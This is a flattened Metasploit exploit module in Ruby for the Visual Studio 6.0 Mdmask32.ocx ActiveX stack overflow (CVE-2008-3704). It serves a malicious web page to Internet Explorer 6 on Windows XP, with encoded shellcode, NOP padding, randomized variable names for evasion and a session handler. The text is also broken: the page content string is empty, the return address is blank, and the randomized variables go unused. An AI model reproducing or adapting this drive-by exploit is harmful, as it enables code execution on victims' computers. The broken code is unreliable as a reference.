## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Microsoft's Visual Studio 6.0. When passing a specially crafted string to the Mask parameter of the Mdmask32.ocx ActiveX Control, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'koshi', 'MC' ], 'References' => [ [ 'CVE', '2008-3704' ], [ 'OSVDB', '47475' ], [ 'BID', '30674' ], [ 'MSB', 'MS08-070' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP2 IE 6.0 SP0-SP2', { 'Ret' => '' } ] ], 'DisclosureDate' => '2008-08-13', 'DefaultTarget' => 0)) register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) ]) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Create some nops. nops = Rex::Text.to_unescape(make_nops(4)) # Randomize the javascript variable names. vname = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(30) + 2) rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(rand(100) + 1) rand5 = rand_text_alpha(rand(100) + 1) rand6 = rand_text_alpha(rand(100) + 1) rand7 = rand_text_alpha(rand(100) + 1) rand8 = rand_text_alpha(rand(100) + 1) rand9 = rand_text_alpha(rand(100) + 1) rand10 = rand_text_alpha(rand(100) + 1) rand11 = rand_text_alpha(rand(100) + 1) randnop = rand_text_alpha(rand(100) + 1) content = %Q| | print_status("Sending #{self.name}") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end